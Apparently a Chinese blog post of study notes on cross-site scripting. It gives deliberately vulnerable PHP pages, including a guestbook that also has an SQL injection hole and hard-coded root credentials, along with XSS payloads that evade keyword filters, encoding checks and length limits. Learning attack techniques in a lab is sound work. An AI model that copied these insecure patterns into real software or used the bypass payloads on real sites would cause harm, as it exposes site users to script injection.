从今天开始研究XSS啦,在这里记录下学习的过程咯~~
XSS初探
XSS漏洞在众多网站中出现的频率可以说是极高的了,也比SQL注入之类的漏洞容易发现。
XSS的成因
- 浏览器本身可以解析和执行JavaScript等
- 输入输出普遍存在与Web应用
- 大量的代码中可能出现纰漏
简单的XSS
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1>Your name is <?=@$_GET[Noel]?></h1> </body> </html>
|
只需要构造
1
| ?Noel=<script>alert(1)</script>
|
即可弹窗
XSS绕过
因为大部分网站会过滤掉XSS的一些关键字,所以需要绕过
关键字被替换为空格
这种情况可以用
这样的形式进行绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php function filter_xss($string){ $string = preg_replace("/script/","",$string); return $string; } ?>
<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1>Your name is <?=filter_xss(@$_GET[Noel])?></h1> </body> </html>
|
这次加了一个简单的过滤函数,Payload就是
1
| ?Noel=<scscriptript>alert(1)</scscriptript>
|
标签属性编码绕过
当alert等关键词不允许出现时,可以采用ASCII编码绕过
例如alert可以编码为
1
| alert
|
或者是
1
| alert
|
在上一个代码基础上增改一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function filter_xss($string){ $string = preg_replace("/onerror/","",$string); if(strpos($string,"alert") === false){ return $string; }else{ echo "<script>alert(/WARNING: XSS!/)</script>"; } } ?>
<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1>Your name is <?=filter_xss(@$_GET[Noel])?></h1> </body> </html>
|
这时候Payload可以为
1
| ?Noel=<img%20src=@%20oneonerrorrror="%26%2397%26%23108%26%23101%26%23114%26%23116(1)"/>
|
因为浏览器中&#有其他含义,所以用url编码&#就是现在的Payload
绕过长度限制
在有些地方,输入的长度会进行限制,如果可以反复输入,并且输出的内容在同一个页面展示,则可以把代码拆分开后进行XSS
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php $message = @$_GET['m']; $user = "root"; $pwd = "root"; $conn = new mysqli("localhost",$user,$pwd,"XSS"); if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } $sqls = "select * from guestbook order by id asc"; $result = $conn->query($sqls);
if($message != null){ if(strlen($message) > 15){ echo "<script>alert('长度过长');</script>"; exit(); } $sql = "insert into guestbook(message) values ('{$message}')"; if ($conn->query($sql) === TRUE) { echo "<script>alert('留言成功');</script>"; }else { echo "<script>alert('留言失败');</script>"; } } ?>
<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "{$row["id"]}:{$row["message"]}<hr/>"; } }?> </body> </html>
|
这是个简单的留言界面,每次留言长度不能超过15,所以构造一个变量,让他不停的增加,最后eval执行
1 2 3 4 5
| <script>/* */a="alert(";/* */a%2b="1)";/* */eval(a);/* */</script>
|
结语
这是书籍的第一章中本人觉得有用的地方,顺便简单的复习了下PHP+MySql,后续会更加深入去了解XSS。